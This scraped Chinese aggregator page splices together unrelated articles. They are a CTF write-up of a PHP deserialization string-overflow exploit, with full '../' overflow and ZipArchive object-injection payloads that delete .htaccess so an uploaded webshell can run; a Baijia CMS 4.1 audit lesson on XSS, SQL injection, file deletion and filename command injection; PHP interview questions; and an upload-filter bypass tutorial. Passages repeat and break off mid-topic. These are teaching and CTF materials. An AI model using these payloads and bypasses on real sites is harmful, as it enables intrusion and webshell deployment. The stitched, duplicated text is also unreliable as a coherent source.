$sanbox_dir 即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:sanbox/4b84b15bff6ee5796152495a230e45e3d7e947d9 。myserialize() ,将传入的 $a 序列化,然后进行一个字符串的替换( 这里是形成反序列化字符串溢出的关键点 )得到 $b ,最后返回 SHA256 有未知密钥( $secret )加密后的 $b 作为签名,拼接上 $b 的结果。myunserialize() ,首先截取 $a 的后 64位 部分与 SHA256 加密后的截掉末尾 64位 的$a ,这里就是做一个签名验证,验证序列化字符串加密后是否还是 myserialize() 返回的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。
接着看这段代码
if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}
当 $sanbox_dir 路径不存在时,创建 $sanbox_dir 。检测在 $sanbox_dir 下是否存在 .htaccess 文件,不存在的话在 $sandbox_dir 下创建 .htaccess ,并写入 php_flag engine off 。该配置作用是禁用当前目录下的PHP解析功能。
action 默认操作为 home ,检查是否设置 Cookie['files'] ,未设置的话设置 Cookie: files ,值为 myserialize($a, $secret) 的返回值, $a 的类型为数组。 $secert 一直都是未知的。
02
继续分析
class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}
UploadFile 类中存在 upload() 和 open() 两个方法,先看 UploadFile::upload() ,将上传的文件写入 $sandbox_dir 下,存储名称为文件内容的 SHA1 加密后的字符,如无后缀即默认 .txt 后缀。没有文件类型限制。$this->fakename 即上传文件的名称, $this->realname 是文件在服务器上存储的名称。UploadFile::open() 即返回指定的 fakename 以及 realname 的存储路径。
接着分析 action 传入不同值的操作
switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
?action=home :
默认执行,提供 ?action=upload 上传操作,反序列化Cookie中的 files 值,将数组的每一个 UploadFile::fakename 取出来回显。提供 ?action=changename 以及 ?action=open 操作。上传一个展示一个。
?action=upload :
POST上传文件,实例化 UploadFile 类, $uploadfile 对象调用 UploadFile::upload() 方法,获取上传的文件名称以及内容传入 upload() 方法。反序列化验证当前Cookie中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储Cookie中。
?action=changename :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 newname 重新赋值原来的 UploadFile::fakename 。然后重新序列化存入Cookie。
?action=open :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 UploadFile::fakename 和 UploadFile::realname 并执行 UploadFile::open() 操作。
?action=reset :
清空Cookie中数组的每个对象,并删除 $sandbox_dir 下的所有文件。
03
思路整理
分析完所有的代码,虽然上传文件无限制,但是有 .htaccess 的限制,就算上传了shell也是没有用的。漏洞利用的关键点在
function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}
这里对 序列化之后 的字符串进行了 str_replace() 替换字符操作,将序列化之后的字符串中的 ../ 替换为了 ./ ,也就是说一个 ../ 被替换后会向后被吃掉的一个字符。反序列化字符串溢出的原理这里就不详细介绍了,可自行查阅资料。
很明显我们对上传文件的能控制得只有上传文件的文件名,也就是 fakename ,并且肯定不能直接修改 Cookie 的序列化字符串,有签名验证的。但是通过 ?action=changename 就可以合法的控制 fakename 的值进行反序列化字符串溢出。
随便上传两个文件我们看下Cookie中存储的对象
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的 fakename ,可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第二个对象的 fakename 处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的构造好前后的序列化字符串。
整个源码就一个类,两个对象,分别是 UploadFile::upload() 、 UploadFile::open() ,而其中 open() 方法挺常见的,如果能找到一个含有 open() 方法的标准类( PHP内置已经定义好的类 ),那么我们就可以利用这个类去利用其中同名方法 open() 的功能。
遍历下所有已定义好的类,看看哪些类中有 open() 方法
PS C:\Users\Administrator\Downloads> php -f .\class.phpcurrent PHP Version: 7.4.3SessionHandler->openZipArchive->openXMLReader->open
其中 ZipArchive->open($fakename, $realname) 方法正好是两个参数
$filename 对应 $fakename ,把 .htaccess 的路径赋给 $filename ,而 $flag 如果设置成 ZipArchive::OVERWRITE ,就可以将改文件覆盖,即删除。
open('./.htaccess',ZipArchive::OVERWRITE);echo $rt;$zip->close();?>
删除了同目录下的 .htaccess
这里 ZipArchive::OVERWRITE 还可以用 9 代替
04
构造payload
接下来开始构造payload
任意上传两个文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
任意查看一个上传的文件
得到 $sandbox_dir ,然后我们构造一个 ZipArchive 类
O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}<br />
首先构造第二个 UploadFile 对象的 fakename ,将 fakename 之后的序列化字符串取出来,总共 67 个字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我们将 ZipArchive 的序列化字符串其中的对象位置顺序调整一下,将 ZipArchive::comment 的长度调整到 67
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
这样就可以将第二个 fakename 之后的序列化字符串安置在 comment 中
然后需要将第一个 UploadFile 的对象的 realname 部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值为什么无所谓,只是为了序列化的完整性,所以得到第二个 fakename 的payload最终为:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因为是数组的第二个值,注意需要加上 i:1;
05
构造fakename的payload
接下来来分析下第一个 fakename 的payload该怎么构造,这是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因为我们是先重命名在数组中 i=1 的对象的 fakename ,所以当我们重命名完之后数组中第二个对象的 fakename 之后,第一个对象的 fakename 长度要变为第一个payload的字符长度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,长度为 117 ,所以我们需要 117 个 ../
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最终,第二个对象需要重命名的 fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个对象需要重命名的 fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
这时候看Cookie的序列化值
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(351)"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""public $realname =>string(6) "mochu7"}[1] =>class ZipArchive#2 (7) {public $status =>int(0)public $statusSys =>int(0)public $numFiles =>int(0)public $filename =>string(0) ""public $comment =>string(0) ""public $fakename =>string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"public $realname =>string(1) "9"}}
成功注入了 ZipArchive 对象,然后调用 ZipArchive 对象
/index.php?action=open&i=1
这样就可以删除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回到 index.php 上传 shell.php上传 shell.php 之后再执行一遍上面的删除操作(因为访问 index.php 会再次生成 .htaccess 文件,我们需要上传shell后再删除),然后访问shell
已经可以解析php文件了
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
PHP代码审计之百家CMS4.1
网站优化 • 优采云 发表了文章 • 0 个评论 • 91 次浏览 • 2022-06-19 13:20
本篇着重从代码审计方向出发
进行漏洞挖掘
三、PHP前置知识
PHP是一种弱类型语言,相对于Java来说它没有对数据类型进行严格的定义。所以入门代码审计的PHP是一个不错的选择。
预定义变量:
用于收集来自 method="XXX" 的表单中的值,也就是说我们的参数是经过这些系统变量来传递到后端的,这些函数是传参的入口。
$_GET <br />$_POST <br />$_REQUEST<br />$_FILES
函数:
用来实现某种功能的一段代码且函数被调用才可执行,如果一个函数中存在危险函数,且危险函数可被利用,但函数是没有被调用,那这个利用点还是利用不了的。
例子
危险函数:
本次只列出本系统需要用到的危险函数,随着课程的深入以后会介绍与项目中用到的危险函数供大家学习。
include() //文件包含,被包含的文件会被当做PHP代码执行<br />system() //执行系统命令 <br />file_get_contents() //把整个文件读入一个字符串中。<br />file_put_contents() //把一个字符串写入文件中<br />unlink() //用来删除文件
函数的详细介绍可以访问如下链接:
https://www.runoob.com/php/
四、百家CMS代码审计路由分析
通过渗透测试观察目录结构,发现该系统的所有功能点放在system目录下,而每个功能点都对应两个文件夹calss、template,class下存放的是每个功能的后端代码,template下是前端代码。由于是商城系统,该系统分为网页端和手机端,所以class、template目录下分别放有mobile手机端代码、web网页端代码。
1.XSS
这里act代表system文件夹下某个功能点,do代表功能点下的具体PHP文件,而op则代表在该文件中走哪个分支。以此类推下面的路由构成方式与该处相同
通过上面路由可以很快找到对应的PHP代码,在post分支中发现sname,website通过前端传入。
在展示页面,我们发现在最下面包含了store_display.php,而store_display.php文件中发现该处参数通过页面渲染在前端通过echo进行输出,从而造成XSS。
2.SQL注入
通过渗透测试中路由找到store.php文件,$_GP['sname']接收我们输入的payload并且直接拼接到SQL语句中,造成SQL注入。
3.任意文件夹删除
通过渗透测试中路由找到database.php文件,通过前端传递过来的id参数与$path进行拼接后,使用is_dir()判断是否为目录,是目录的话进入redirs()进行删除操作。这里就解释了为什么只能删除文件了
redirs()中判断我们传过来的参数是否是目录是目录就遍历出文件进行删除,不是就直接删除该文件。全程没有任何过滤,所以造成任意文件删除。
4.任意文件删除二
全局搜索unlink(函数,发现common.inc.php中的file_delete()函数可以被利用
全局搜索file_delete()函数,观察哪里调用了它而且参数可被利用,最终找到uploader.php,这里的file参数是从前端传入且可被利用
我们跟进file_delete()函数中,想要进入unlink(),就必须要$settings['system_isnetattach']不为空,
全局搜索system_isnetattach发现该参数是从netattach.php中接收的,我们通过上面的路由分析也可以轻松构造出该路由,也可通过该文件的中文提示找到该功能点。
对应的功能点就是附件设置,system_isnetattach就是设置图片压缩比例,这里只要随意设置不为空就可以了。
由于此处文件删除是需要手动创建对应的前端页面,为了方便我们通过访问路由来实现文件删除。
在根目录下建一个demo.txt,构造url访问
http://www.baijia.com:8011/bai ... %3Bbr />
5.任意文件写入
通过渗透测试中路由我们定位到漏洞点file.php文件,获取前端传入的url,将url的值传入到fetch_net_file_upload()中。
跟进fetch_net_file_upload()函数,file_get_contents()读取文件内容后,紧接着使用file_put_contents()将文件内容写入到$file_tmp_name文件中,并且后缀是从读取的文件截取到的,所以就造成了任意远程文件上传。
6.命令执行
通过渗透测试中路由我们定位到漏洞点setting.php,$file['name']是从$_FILES中传入
也就是我们这里上传处的文件名
setting.php中,首先判断文件名为txt后就要进入到file_save(),并且$file['name']作为它的参数传入,如下图
跟进file_save()函数,该函数中传递过来五个参数
在下面的system()函数中,将$file_full_path参数拼接进来而该参数正是我们前端传递的$file['name']值,所以通过&分割,就造成了命令执行。
初学代码审计我推荐大家配合工具进行审计,因为工具可以帮助大家在前期更好的定位漏洞点,以及帮助大家熟悉一些PHP中的敏感函数。
1)Seay
2)Fortify
五、总结
由于本次公开课给大家讲解的是如何在实战中进行代码审计的一些思路以及具体的实战过程,所以有些漏洞是通过注释全局过滤函数造成,以便大家学习。 查看全部
PHP代码审计之百家CMS4.1
本篇着重从代码审计方向出发
进行漏洞挖掘
三、PHP前置知识
PHP是一种弱类型语言,相对于Java来说它没有对数据类型进行严格的定义。所以入门代码审计的PHP是一个不错的选择。
预定义变量:
用于收集来自 method="XXX" 的表单中的值,也就是说我们的参数是经过这些系统变量来传递到后端的,这些函数是传参的入口。
$_GET <br />$_POST <br />$_REQUEST<br />$_FILES
函数:
用来实现某种功能的一段代码且函数被调用才可执行,如果一个函数中存在危险函数,且危险函数可被利用,但函数是没有被调用,那这个利用点还是利用不了的。
例子
危险函数:
本次只列出本系统需要用到的危险函数,随着课程的深入以后会介绍与项目中用到的危险函数供大家学习。
include() //文件包含,被包含的文件会被当做PHP代码执行<br />system() //执行系统命令 <br />file_get_contents() //把整个文件读入一个字符串中。<br />file_put_contents() //把一个字符串写入文件中<br />unlink() //用来删除文件
函数的详细介绍可以访问如下链接:
https://www.runoob.com/php/
四、百家CMS代码审计路由分析
通过渗透测试观察目录结构,发现该系统的所有功能点放在system目录下,而每个功能点都对应两个文件夹calss、template,class下存放的是每个功能的后端代码,template下是前端代码。由于是商城系统,该系统分为网页端和手机端,所以class、template目录下分别放有mobile手机端代码、web网页端代码。
1.XSS
这里act代表system文件夹下某个功能点,do代表功能点下的具体PHP文件,而op则代表在该文件中走哪个分支。以此类推下面的路由构成方式与该处相同
通过上面路由可以很快找到对应的PHP代码,在post分支中发现sname,website通过前端传入。
在展示页面,我们发现在最下面包含了store_display.php,而store_display.php文件中发现该处参数通过页面渲染在前端通过echo进行输出,从而造成XSS。
2.SQL注入
通过渗透测试中路由找到store.php文件,$_GP['sname']接收我们输入的payload并且直接拼接到SQL语句中,造成SQL注入。
3.任意文件夹删除
通过渗透测试中路由找到database.php文件,通过前端传递过来的id参数与$path进行拼接后,使用is_dir()判断是否为目录,是目录的话进入redirs()进行删除操作。这里就解释了为什么只能删除文件了
redirs()中判断我们传过来的参数是否是目录是目录就遍历出文件进行删除,不是就直接删除该文件。全程没有任何过滤,所以造成任意文件删除。
4.任意文件删除二
全局搜索unlink(函数,发现common.inc.php中的file_delete()函数可以被利用
全局搜索file_delete()函数,观察哪里调用了它而且参数可被利用,最终找到uploader.php,这里的file参数是从前端传入且可被利用
我们跟进file_delete()函数中,想要进入unlink(),就必须要$settings['system_isnetattach']不为空,
全局搜索system_isnetattach发现该参数是从netattach.php中接收的,我们通过上面的路由分析也可以轻松构造出该路由,也可通过该文件的中文提示找到该功能点。
对应的功能点就是附件设置,system_isnetattach就是设置图片压缩比例,这里只要随意设置不为空就可以了。
由于此处文件删除是需要手动创建对应的前端页面,为了方便我们通过访问路由来实现文件删除。
在根目录下建一个demo.txt,构造url访问
http://www.baijia.com:8011/bai ... %3Bbr />
5.任意文件写入
通过渗透测试中路由我们定位到漏洞点file.php文件,获取前端传入的url,将url的值传入到fetch_net_file_upload()中。
跟进fetch_net_file_upload()函数,file_get_contents()读取文件内容后,紧接着使用file_put_contents()将文件内容写入到$file_tmp_name文件中,并且后缀是从读取的文件截取到的,所以就造成了任意远程文件上传。
6.命令执行
通过渗透测试中路由我们定位到漏洞点setting.php,$file['name']是从$_FILES中传入
也就是我们这里上传处的文件名
setting.php中,首先判断文件名为txt后就要进入到file_save(),并且$file['name']作为它的参数传入,如下图
跟进file_save()函数,该函数中传递过来五个参数
在下面的system()函数中,将$file_full_path参数拼接进来而该参数正是我们前端传递的$file['name']值,所以通过&分割,就造成了命令执行。
初学代码审计我推荐大家配合工具进行审计,因为工具可以帮助大家在前期更好的定位漏洞点,以及帮助大家熟悉一些PHP中的敏感函数。
1)Seay
2)Fortify
五、总结
由于本次公开课给大家讲解的是如何在实战中进行代码审计的一些思路以及具体的实战过程,所以有些漏洞是通过注释全局过滤函数造成,以便大家学习。
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-06-18 03:48
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
文件上传漏洞总结
网站优化 • 优采云 发表了文章 • 0 个评论 • 288 次浏览 • 2022-06-18 03:04
现在我们来到第二关,先看看有没有JS检查
很可惜,没有"纸老虎",那我们只能另寻他法
提示文件类型不正确,猜测是判断后端检测了上传文件的MIME类型.那我们要如何修改?首先使用burp抓包
可以看到content-type现在是显示文本的一个类型,将其改为图片格式,绕过检查
放包
上传成功,之后的步骤和第一关一样连接蚁剑即可.
源码:
3.黑名单绕过
黑名单绕过有比较多的类型:
3.1 上传特殊可解析漏洞
通常网页会给我们上传的内容加上黑名单,即有些特定后缀的文件无法上传,那我们要想办法绕过黑名单的检测
常见的特殊后缀有:.phtml .phps .php5 .pht
一般黑名单禁止上传php类型文件的时候,我们可以将其改为以上几种特殊后缀即可绕过检测.
类似这样即可.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array('.asp','.aspx','.php','.jsp');<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //收尾去空<br /><br /> if(!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; <br /> if (move_uploaded_file($temp_file,$img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}
3.2 大小写绕过
直接看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /><br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
和上一个知识点对比,看看有什么区别
首先是这里的黑名单数量急剧增加,特殊后缀全都被ban了,其次很重要的一点:$file_ext = strtolower($file_ext);消失了.
这个函数代表的是转换为小写字母,如果这个函数消失,并且服务器是区分大小写,这时候我们将php改为pHp即可绕过黑名单.
3.3 陌生后缀解析绕过
这个知识点并没有专门的一关,但是做题目的时候也经常会遇到.
